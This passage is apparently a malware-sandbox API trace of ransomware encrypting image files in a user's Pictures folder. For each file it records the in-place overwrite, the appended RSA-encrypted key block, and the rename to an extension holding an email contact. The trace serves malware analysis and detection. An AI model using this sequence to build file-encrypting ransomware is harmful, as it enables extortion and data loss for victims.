(in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be580 | out: hHeap=0x570000) returned 1 [0148.707] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\IE7O79Tg8zUu.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\ie7o79tg8zuu.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.708] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=23794) returned 1 [0148.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5cf2) returned 0x631898 [0148.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5cf2) returned 0x637598 [0148.708] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x5cf2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x5cf2, lpOverlapped=0x0) returned 1 [0148.709] SetFilePointer (in: hFile=0x600, lDistanceToMove=-23794, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.709] WriteFile (in: hFile=0x600, lpBuffer=0x637598*, nNumberOfBytesToWrite=0x5cf2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x637598*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5cf2, lpOverlapped=0x0) returned 1 [0148.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x637598 | out: hHeap=0x570000) returned 1 [0148.709] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5cf2 [0148.709] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.709] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.709] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.709] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.709] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.710] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="il7PF8s/90nqtRmofgIS9esdgFm1yc7jeM445HZnkH24nu+zA+WlDi9K2uIk/7A+\ncyPvOHgoDhAJ4UFV3bwCUpdb8amc2ggJDSpd9FsGMaU2l9bsvEQuK0ey7TbN7Jul\nqsip1NsqSWT25MuUsIjhfBhLtSe1P2wtoU6JJVmJp/BN3t4huWXuH26xQqsH6Udf\nTZ7QkOqjFlfzk/lwTQSp2jl3O2Vte2QxpA+4yk3t0rwVLWL72ap8WYPfT8V/k/u5\nhexDTMJswhj2oZqSfYslMAZh8UnaSY8HEOaEslwovZY4L/iRS9l9EmsVo+f81Vcu\nfJSxfD0KU95kX3NykFJNbQ==\n", pcchString=0x2e3f9a8) returned 1 [0148.710] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.710] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.710] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.710] CloseHandle (hObject=0x600) returned 1 [0148.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.710] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\IE7O79Tg8zUu.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\ie7o79tg8zuu.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\IE7O79Tg8zUu.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\ie7o79tg8zuu.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0148.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be6e0 | out: hHeap=0x570000) returned 1 [0148.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be948 | out: hHeap=0x570000) returned 1 [0148.712] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0148.712] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.712] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.712] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\HuwmknDJRqi.bmp", dwFileAttributes=0x80) returned 1 [0148.712] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be370 [0148.712] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be370 | out: hHeap=0x570000) returned 1 [0148.712] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\HuwmknDJRqi.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\huwmkndjrqi.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.712] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8174) returned 1 [0148.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1fee) returned 0x631898 [0148.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1fee) returned 0x633890 [0148.713] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x1fee, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x1fee, lpOverlapped=0x0) returned 1 [0148.713] SetFilePointer (in: hFile=0x600, lDistanceToMove=-8174, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.713] WriteFile (in: hFile=0x600, lpBuffer=0x633890*, nNumberOfBytesToWrite=0x1fee, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x633890*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1fee, lpOverlapped=0x0) returned 1 [0148.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x633890 | out: hHeap=0x570000) returned 1 [0148.713] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1fee [0148.714] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.714] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.714] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.714] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.714] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.714] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="PO8+QpdXAw4r4TX9z20malM2x+EJPR7AfkTFEw+HDUDVVDseoI9ttjhO0xfxdjl1\nDneVQHdyDNiY3h0fmZvyEjmBmMk2aCOIViXzyJO4+ph+/I3MJV6GrhHo0Di6o9G0\nFKa62cq+kkWLCzIbXl6NObWl69iyub+SLcMoAjOqmBfV/+AjqEHF5esuMWHHdNGW\nRRH6zeiZd8K56FOCoFxX3I9sBdSXng6efQCOUt7LLWDm54bO/IIk6LxRpKU6hXGn\nTFyrEgNXJWROzBSmBbQ3FaSkt2FIpChU9OKkZAiKHrLwOjdm2VWpir+7IpSWNRen\ntlQEJjEN6ysRb9rLoRIMlg==\n", pcchString=0x2e3f9a8) returned 1 [0148.714] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.714] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.714] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.714] CloseHandle (hObject=0x600) returned 1 [0148.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.715] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\HuwmknDJRqi.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\huwmkndjrqi.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\HuwmknDJRqi.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\huwmkndjrqi.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0148.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bea50 | out: hHeap=0x570000) returned 1 [0148.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0148.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.718] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.718] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\goFLFaLl_iq1NF.bmp", dwFileAttributes=0x80) returned 1 [0148.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x6314f0 [0148.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6314f0 | out: hHeap=0x570000) returned 1 [0148.719] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\goFLFaLl_iq1NF.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\goflfall_iq1nf.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.719] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=99010) returned 1 [0148.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x182c2) returned 0x631898 [0148.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x182c2) returned 0x649b68 [0148.719] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x182c2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x182c2, lpOverlapped=0x0) returned 1 [0148.722] SetFilePointer (in: hFile=0x600, lDistanceToMove=-99010, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.722] WriteFile (in: hFile=0x600, lpBuffer=0x649b68*, nNumberOfBytesToWrite=0x182c2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x649b68*, lpNumberOfBytesWritten=0x2e3f9b4*=0x182c2, lpOverlapped=0x0) returned 1 [0148.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.723] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x649b68 | out: hHeap=0x570000) returned 1 [0148.723] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x182c2 [0148.723] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.723] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.723] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.723] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.724] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.724] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="RfQcQnrkw1r+KDEENrwGfY7rqg8Xj79JfoZie59OtndNtgFJ1blwM1FjXW19KlqF\nnAG+Pcx1qP1UbzbS/aYa443qF/WOnIgQn1MsdicKMIPqBe263UzYUV42kcPkHEJX\n9XLgDzQcj4tNF/DPHMciyjBmLQWEmSSeCKZrbN4GsNJb8ECxVLNjPoKZfw86NT5I\nEmangrkXQ96FXAes1JeJ4roPt3kRrk3LykXRUShP4kvBXnOVZk6wlj+NUJt28iTb\n4Qph6laIua48EJVKgvkhr5HQKAM0K3CiW0LK1W781UWK4ibVAQmERGuIcVl7MMrt\nE5lMWjDRIowG0rAF0CypfA==\n", pcchString=0x2e3f9a8) returned 1 [0148.724] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.724] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.724] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.724] CloseHandle (hObject=0x600) returned 1 [0148.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.724] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\goFLFaLl_iq1NF.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\goflfall_iq1nf.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\goFLFaLl_iq1NF.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\goflfall_iq1nf.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0148.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0148.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0148.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.726] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.726] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\gO0-t4iZkLHjvVQbd6j.bmp", dwFileAttributes=0x80) returned 1 [0148.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0148.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0148.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0148.727] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\gO0-t4iZkLHjvVQbd6j.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\go0-t4izklhjvvqbd6j.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.727] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=85007) returned 1 [0148.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14c0f) returned 0x631898 [0148.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14c0f) returned 0x6464b0 [0148.727] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x14c0f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x14c0f, lpOverlapped=0x0) returned 1 [0148.729] SetFilePointer (in: hFile=0x600, lDistanceToMove=-85007, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.729] WriteFile (in: hFile=0x600, lpBuffer=0x6464b0*, nNumberOfBytesToWrite=0x14c0f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6464b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14c0f, lpOverlapped=0x0) returned 1 [0148.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6464b0 | out: hHeap=0x570000) returned 1 [0148.730] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x14c0f [0148.730] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.730] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.730] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.730] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.730] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.730] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="huUoHIxcKX6VKlCxd+MAbjLM/GUUBDCeN46lCph2dUFNydveUpqLQMfpfBZ0xkIj\n7zGukrnoy0EE5wUAOV1t2UTRblndMXWmbeDfSK1VBHuNudk5lmEIivZDjVgrZNQ1\nE2FGUCJ6MJ1XV3dRBTKsxpXquMtmQOyLiBI8mOudzvhtkyx1ZHheOgOyP2DRtPXH\nF4E0uMEJ+0nA8ZBwQX6j2uvKaf1wytVj0HXvku6ZofIrLF5ciSqCdOgieZJ/7PvM\naLc1l2xuS66K+wGk6/y//+Y1Xr6EGCwB5fbNsjj8fHhMhKQ5HX4APzfIq9OMP1J0\nBlHvrZA0Z4gOZB/CoU13Fw==\n", pcchString=0x2e3f9a8) returned 1 [0148.730] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.730] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.730] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.731] CloseHandle (hObject=0x600) returned 1 [0148.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.731] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\gO0-t4iZkLHjvVQbd6j.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\go0-t4izklhjvvqbd6j.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\gO0-t4iZkLHjvVQbd6j.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\go0-t4izklhjvvqbd6j.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0148.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0148.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0148.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0148.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.733] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.733] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\gdRt_WCHPsCtQ.jpg", dwFileAttributes=0x80) returned 1 [0148.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0148.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0148.733] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\gdRt_WCHPsCtQ.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\gdrt_wchpsctq.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.733] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=93477) returned 1 [0148.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16d25) returned 0x631898 [0148.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16d25) returned 0x6485c8 [0148.733] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x16d25, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x16d25, lpOverlapped=0x0) returned 1 [0148.737] SetFilePointer (in: hFile=0x600, lDistanceToMove=-93477, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.737] WriteFile (in: hFile=0x600, lpBuffer=0x6485c8*, nNumberOfBytesToWrite=0x16d25, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6485c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x16d25, lpOverlapped=0x0) returned 1 [0148.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6485c8 | out: hHeap=0x570000) returned 1 [0148.738] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: 